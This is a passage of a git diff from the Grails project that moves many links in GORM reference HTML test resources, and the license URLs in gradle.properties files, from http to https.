-<p>Note that excessive use of joins can be a performance bottleneck. See the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#fetching">Eager vs Lazing Fetching</a> in the user guide.</p>
+<p>Note that excessive use of joins can be a performance bottleneck. See the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#fetching">Eager vs Lazing Fetching</a> in the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/id.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/id.html
index 2c09b9207d..e160e22c1e 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/id.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/id.html	
@@ -237,7 +237,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
-<p>See the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#identity">Custom Database Identity</a> in the user guide for more information.</p>
+<p>See the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#identity">Custom Database Identity</a> in the user guide for more information.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/lazy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/lazy.html
index fba84210c3..d9e018acfb 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/lazy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/lazy.html	
@@ -173,7 +173,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
-<p>See the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#fetching">Eager vs Lazing Fetching</a> in the user guide.</p>
+<p>See the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#fetching">Eager vs Lazing Fetching</a> in the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/version.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/version.html
index dd0c7c3640..04112e8610 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/version.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Database Mapping/version.html	
@@ -158,7 +158,7 @@ function addJsClass(el) {
 <p>Usage: <code>version(string/boolean)</code></p>
 </div>
 <div class="paragraph">
-<p>By default GORM is configured with <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a> enabled. You can disable this by calling the <code>version</code> method with an argument of <code>false</code>:</p>
+<p>By default GORM is configured with <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a> enabled. You can disable this by calling the <code>version</code> method with an argument of <code>false</code>:</p>
 </div>
 <div class="listingblock">
 <div class="content">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/Usage.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/Usage.html
index 8473b75dcd..8663a84162 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/Usage.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/Usage.html	
@@ -158,7 +158,7 @@ function addJsClass(el) {
 <p>The class name, by default, is mapped to the table name in lower case and separated by underscores instead of camel case so a domain class named <code>BookStore</code> by default would map to a table named <code>book_store</code>.  Each property maps to individual columns.</p>
 </div>
 <div class="paragraph">
-<p>One limitation of the default table naming scheme is that it is problematic to have 2 domain classes with the same name, even if they are defined to be in separate packages.  For example, <code>com.bookstore.BookStore</code> and <code>com.publishing.utility.BookStore</code> would each map to a table named <code>book_store</code>.  If the 2 classes are defined in the application this problem can be managed by giving the classes different names or by providing a specific table name for  [...]
+<p>One limitation of the default table naming scheme is that it is problematic to have 2 domain classes with the same name, even if they are defined to be in separate packages.  For example, <code>com.bookstore.BookStore</code> and <code>com.publishing.utility.BookStore</code> would each map to a table named <code>book_store</code>.  If the 2 classes are defined in the application this problem can be managed by giving the classes different names or by providing a specific table name for  [...]
 </div>
 <div class="listingblock">
 <div class="title">grails-app/conf/application.groovy</div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/belongsTo.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/belongsTo.html
index 9aaf31c1a2..b73f360c34 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/belongsTo.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/belongsTo.html	
@@ -215,7 +215,7 @@ function addJsClass(el) {
 <p>In these examples, both techniques create an <code>Author</code> property named <code>author</code>. Also, the Map property can specify multiple properties and types if the class belongs to more than one owner.</p>
 </div>
 <div class="paragraph">
-<p>The <code>belongsTo</code> property is simple and means you don&#8217;t have to worry about the Hibernate cascading strategies, but if you need more control over cascading you can use the <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a>. This allows fine grained control of cascading updates and deletes.</p>
+<p>The <code>belongsTo</code> property is simple and means you don&#8217;t have to worry about the Hibernate cascading strategies, but if you need more control over cascading you can use the <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a>. This allows fine grained control of cascading updates and deletes.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/countBy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/countBy.html
index 2609aea87d..f7dbe52b34 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/countBy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/countBy.html	
@@ -172,7 +172,7 @@ c = <span class="predefined-type">Book</span>.countByReleaseDateIsNotNull()</cod
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>GORM supports the notion of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>countBy*</code> method counts the number of records for the given expression</p>
+<p>GORM supports the notion of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>countBy*</code> method counts the number of records for the given expression</p>
 </div>
 <div class="paragraph">
 <p>The following operator names can be used within the respective dynamic methods:</p>
@@ -224,7 +224,7 @@ c = <span class="predefined-type">Book</span>.countByReleaseDateIsNotNull()</cod
 </ul>
 </div>
 <div class="paragraph">
-<p>These names can be considered keywords, and you will have problems when querying domain classes that have one of these names as a property name. For more information on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
+<p>These names can be considered keywords, and you will have problems when querying domain classes that have one of these names as a property name. For more information on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/createCriteria.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/createCriteria.html
index 4a3420ab7c..671f51f2ca 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/createCriteria.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/createCriteria.html	
@@ -198,7 +198,7 @@ Unit tests use an in-memory implementation of GORM without Hibernate, and as suc
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>Criteria queries are a type-safe, advanced way to query that uses a Groovy builder to construct potentially complex queries. It is a much better alternative to using a StringBuilder to dynamically construct an HQL query. Refer to the user guide section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria</a> for usage instructions.</p>
+<p>Criteria queries are a type-safe, advanced way to query that uses a Groovy builder to construct potentially complex queries. It is a much better alternative to using a StringBuilder to dynamically construct an HQL query. Refer to the user guide section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria</a> for usage instructions.</p>
 </div>
 <div class="paragraph">
 <p>Method reference:</p>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/embedded.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/embedded.html
index 4c24192f96..2feb8a9074 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/embedded.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/embedded.html	
@@ -136,7 +136,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_purpose">Purpose</h3>
 <div class="paragraph">
-<p>Supports embedding domain components into domain classes - otherwise known as <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#gormComposition">composition</a>.</p>
+<p>Supports embedding domain components into domain classes - otherwise known as <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#gormComposition">composition</a>.</p>
 </div>
 </div>
 <div class="sect2">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/executeQuery.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/executeQuery.html
index 492396f496..7bb213cfdc 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/executeQuery.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/executeQuery.html	
@@ -136,7 +136,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_purpose">Purpose</h3>
 <div class="paragraph">
-<p>Executes <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL queries</a></p>
+<p>Executes <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL queries</a></p>
 </div>
 </div>
 <div class="sect2">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/find.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/find.html
index 401f7647e4..e9606535bf 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/find.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/find.html	
@@ -170,7 +170,7 @@ Person p = Person.find { firstName == <span class="string"><span class="delimite
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>The <code>find</code> method allows querying with Hibernate&#8217;s query language <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL</a> and querying by example. The basic syntax is:</p>
+<p>The <code>find</code> method allows querying with Hibernate&#8217;s query language <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL</a> and querying by example. The basic syntax is:</p>
 </div>
 <div class="listingblock">
 <div class="content">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAll.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAll.html
index 88c36ca9f8..9e1daecc65 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAll.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAll.html	
@@ -191,7 +191,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>The <code>findAll</code> method allows querying with Hibernate&#8217;s query language <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL</a> and querying by example, returning all matching instances. Pagination can be controlled using the <code>max</code> and <code>offset</code> parameters:</p>
+<p>The <code>findAll</code> method allows querying with Hibernate&#8217;s query language <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#hql">HQL</a> and querying by example, returning all matching instances. Pagination can be controlled using the <code>max</code> and <code>offset</code> parameters:</p>
 </div>
 <div class="listingblock">
 <div class="content">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAllBy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAllBy.html
index 6c51f6f578..1a2e7516a4 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAllBy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findAllBy.html	
@@ -189,7 +189,7 @@ results = <span class="predefined-type">Book</span>.findAllByAuthorInList([<span
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>GORM supports the notion of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findAllBy*</code> method finds all the results for the given method expression.</p>
+<p>GORM supports the notion of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findAllBy*</code> method finds all the results for the given method expression.</p>
 </div>
 <div class="paragraph">
 <p>Parameters:</p>
@@ -263,7 +263,7 @@ results = <span class="predefined-type">Book</span>.findAllByAuthorInList([<span
 </ul>
 </div>
 <div class="paragraph">
-<p>These operator names can be considered keywords, and you will run into problems when querying domain classes that have one of these names as property names. For more information on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
+<p>These operator names can be considered keywords, and you will run into problems when querying domain classes that have one of these names as property names. For more information on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findBy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findBy.html
index 89f566c8af..46455cad3f 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findBy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findBy.html	
@@ -178,7 +178,7 @@ b = <span class="predefined-type">Book</span>.findByAuthorInList([<span class="s
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>GORM supports the notion of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findBy*</code> method finds the first result for the given method expression.</p>
+<p>GORM supports the notion of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findBy*</code> method finds the first result for the given method expression.</p>
 </div>
 <div class="paragraph">
 <p>The following operator names can be used within the respective dynamic methods:</p>
@@ -230,7 +230,7 @@ b = <span class="predefined-type">Book</span>.findByAuthorInList([<span class="s
 </ul>
 </div>
 <div class="paragraph">
-<p>The above operator names can be considered keywords, and you will run into problems when querying domain classes that have one of these names used as property names. For more information on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
+<p>The above operator names can be considered keywords, and you will run into problems when querying domain classes that have one of these names used as property names. For more information on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">dynamic finders</a> refer to the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrCreateBy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrCreateBy.html
index 4799e2b63f..0f7166e120 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrCreateBy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrCreateBy.html	
@@ -182,7 +182,7 @@ b = <span class="predefined-type">Book</span>.findByAuthorInList([<span class="s
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>GORM supports the notion of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findOrCreateBy*</code> method finds the first result for the given method expression.</p>
+<p>GORM supports the notion of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findOrCreateBy*</code> method finds the first result for the given method expression.</p>
 </div>
 <div class="admonitionblock note">
 <table>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrSaveBy.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrSaveBy.html
index aec398efaa..02fd318a8c 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrSaveBy.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/findOrSaveBy.html	
@@ -181,7 +181,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>GORM supports the notion of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findOrSaveBy*</code> method finds the first result for the given method expression.</p>
+<p>GORM supports the notion of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#finders">Dynamic Finders</a>. The <code>findOrSaveBy*</code> method finds the first result for the given method expression.</p>
 </div>
 <div class="admonitionblock note">
 <table>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/lock.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/lock.html
index e603d19567..a549abf68d 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/lock.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/lock.html	
@@ -157,7 +157,7 @@ book.lock()</code></pre>
 <p>The lock is automatically released when the transaction commits. In Grails this is typically after an action has finished executing.</p>
 </div>
 <div class="paragraph">
-<p>Refer to the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">Optimistic and Pessimistic locking</a> in the user guide for info.</p>
+<p>Refer to the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">Optimistic and Pessimistic locking</a> in the user guide for info.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/mapping.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/mapping.html
index 1c62a56033..7f555b2021 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/mapping.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/mapping.html	
@@ -136,7 +136,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_purpose">Purpose</h3>
 <div class="paragraph">
-<p>The <code>mapping</code> static property configures how GORM maps the domain class to the database. See the section on the <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a> in the user guide for more information.</p>
+<p>The <code>mapping</code> static property configures how GORM maps the domain class to the database. See the section on the <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a> in the user guide for more information.</p>
 </div>
 </div>
 <div class="sect2">
@@ -160,7 +160,7 @@ function addJsClass(el) {
 </div>
 </div>
 <div class="paragraph">
-<p>This example uses the <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a> to map the <code>Person</code> class onto a table called <code>people</code></p>
+<p>This example uses the <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#ormdsl">ORM DSL</a> to map the <code>Person</code> class onto a table called <code>people</code></p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/namedQueries.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/namedQueries.html
index 3352852753..25ef030d38 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/namedQueries.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/namedQueries.html	
@@ -136,7 +136,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_purpose">Purpose</h3>
 <div class="paragraph">
-<p>The <code>namedQueries</code> static property defines named queries.  Named queries support the criteria builder syntax.  See the section on the <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria Builder</a> in the user guide for more information.</p>
+<p>The <code>namedQueries</code> static property defines named queries.  Named queries support the criteria builder syntax.  See the section on the <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria Builder</a> in the user guide for more information.</p>
 </div>
 </div>
 <div class="sect2">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/save.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/save.html
index 279b5d1dc1..aec3d59167 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/save.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/save.html	
@@ -179,7 +179,7 @@ b.save()</code></pre>
 <p><code>validate</code> (optional) - Set to <code>false</code> if validation should be skipped</p>
 </li>
 <li>
-<p><code>flush</code> (optional) - When set to <code>true</code> flushes the persistence context, persisting the object immediately and updating the <code>version</code> column for <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a></p>
+<p><code>flush</code> (optional) - When set to <code>true</code> flushes the persistence context, persisting the object immediately and updating the <code>version</code> column for <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a></p>
 </li>
 <li>
 <p><code>insert</code> (optional) - When set to <code>true</code> will force Hibernate to do a SQL INSERT; this is useful in certain situations (for example when using assigned ids) and Hibernate cannot detect whether to do an INSERT or an UPDATE</p>
@@ -199,7 +199,7 @@ b.save()</code></pre>
 <i class="fa icon-note" title="Note"></i>
 </td>
 <td class="content">
-By default GORM classes are configured for <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a>, which is a feature of Hibernate that involves storing an incrementing version in the table. This value is only updated in the database when the Hibernate session is flushed.
+By default GORM classes are configured for <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#locking">optimistic locking</a>, which is a feature of Hibernate that involves storing an incrementing version in the table. This value is only updated in the database when the Hibernate session is flushed.
 </td>
 </tr>
 </table>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/where.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/where.html
index 843e918de6..6daa4ec5bf 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/where.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/where.html	
@@ -197,7 +197,7 @@ Person bart = query.find()</code></pre>
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>The <code>where</code> method is a powerful new type-safe querying option introduced in Grails 2.0. For more information on using the <code>where</code> method see the dedicated section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#whereQueries">Where Queries</a> and <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#detachedCriteria">Detached Criteria</a> in the user guide.</p>
+<p>The <code>where</code> method is a powerful new type-safe querying option introduced in Grails 2.0. For more information on using the <code>where</code> method see the dedicated section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#whereQueries">Where Queries</a> and <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#detachedCriteria">Detached Criteria</a> in the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/whereAny.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/whereAny.html
index 4d1511fc5d..0a01308d8e 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/whereAny.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/whereAny.html	
@@ -160,7 +160,7 @@ Person bart = query.find()</code></pre>
 <p>The <code>where</code> method defaults to a conjunction (logical AND) for the created query. The <code>whereAny</code> compliments the <code>where</code> method by allowing the creation of <code>DetachedCriteria</code> using a disjunction (logical OR).</p>
 </div>
 <div class="paragraph">
-<p>The <code>where</code> method is a powerful new type-safe querying option introduced in Grails 2.0. For more information on using the <code>where</code> method see the dedicated section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#whereQueries">Where Queries</a> and <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#detachedCriteria">Detached Criteria</a> in the user guide.</p>
+<p>The <code>where</code> method is a powerful new type-safe querying option introduced in Grails 2.0. For more information on using the <code>where</code> method see the dedicated section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#whereQueries">Where Queries</a> and <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#detachedCriteria">Detached Criteria</a> in the user guide.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withCriteria.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withCriteria.html
index c62365e65e..83a4f2d0c2 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withCriteria.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withCriteria.html	
@@ -176,7 +176,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>The <code>withCriteria</code> method allows the inline definition of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria</a>. Arguments to the [<a href="http://grails.github.io/grails-data-mapping/latest/api/grails/orm/HibernateCriteriaBuilder.html" class="bare">http://grails.github.io/grails-data-mapping/latest/api/grails/orm/HibernateCriteriaBuilder.html</a>] can be passed as the first parameter:</p>
+<p>The <code>withCriteria</code> method allows the inline definition of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#criteria">Criteria</a>. Arguments to the [<a href="http://grails.github.io/grails-data-mapping/latest/api/grails/orm/HibernateCriteriaBuilder.html" class="bare">http://grails.github.io/grails-data-mapping/latest/api/grails/orm/HibernateCriteriaBuilder.html</a>] can be passed as the first parameter:</p>
 </div>
 <div class="listingblock">
 <div class="content">
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withTransaction.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withTransaction.html
index 39e7e8679a..3723c9e871 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withTransaction.html	
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Domain Classes/withTransaction.html	
@@ -183,7 +183,7 @@ Account.withTransaction([<span class="key">propagationBehavior</span>: Transacti
 <p>The <code>withTransaction</code> method accepts a Closure with a <a href="https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/transaction/TransactionStatus.html">TransactionStatus</a> argument. The <code>TransactionStatus</code> object can be used to programmatically control rollback of the transaction.</p>
 </div>
 <div class="paragraph">
-<p>Refer to the user guide section of <a href="http://gorm.grails.org/6.0.x/hibernate/manual/index.html#programmaticTransactions">Programmatic Transactions</a> for more information.</p>
+<p>Refer to the user guide section of <a href="https://gorm.grails.org/6.0.x/hibernate/manual/index.html#programmaticTransactions">Programmatic Transactions</a> for more information.</p>
 </div>
 </div>
 </div>
diff --git a/grails-gradle/docs-core/src/test/resources/docs/ref/Plug-ins/domainClasses.html b/grails-gradle/docs-core/src/test/resources/docs/ref/Plug-ins/domainClasses.html
index b504b80594..2db54a50f4 100644
--- a/grails-gradle/docs-core/src/test/resources/docs/ref/Plug-ins/domainClasses.html
+++ b/grails-gradle/docs-core/src/test/resources/docs/ref/Plug-ins/domainClasses.html
@@ -157,7 +157,7 @@ function addJsClass(el) {
 <div class="sect2">
 <h3 id="_description">Description</h3>
 <div class="paragraph">
-<p>Refer to the section on <a href="http://gorm.grails.org/6.0.x/hibernate/manual/">GORM</a> in the Grails user guide which details how to create Grails domain classes.</p>
+<p>Refer to the section on <a href="https://gorm.grails.org/6.0.x/hibernate/manual/">GORM</a> in the Grails user guide which details how to create Grails domain classes.</p>
 </div>
 <div class="paragraph">
 <p>Configured Spring Beans given a domain class of <code>Book</code>:</p>
diff --git a/grails-gradle/gradle.properties b/grails-gradle/gradle.properties
index eb85b46024..b7073aaed8 100644
--- a/grails-gradle/gradle.properties
+++ b/grails-gradle/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/otherProject/gradle.properties b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/otherProject/gradle.properties
index 0a8a923d74..7374d1fb29 100644
--- a/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/otherProject/gradle.properties
+++ b/grails-gradle/plugins/src/e2eTest/resources/publish-projects/legacy-apply/child-project-with-unrelated-parent/otherProject/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
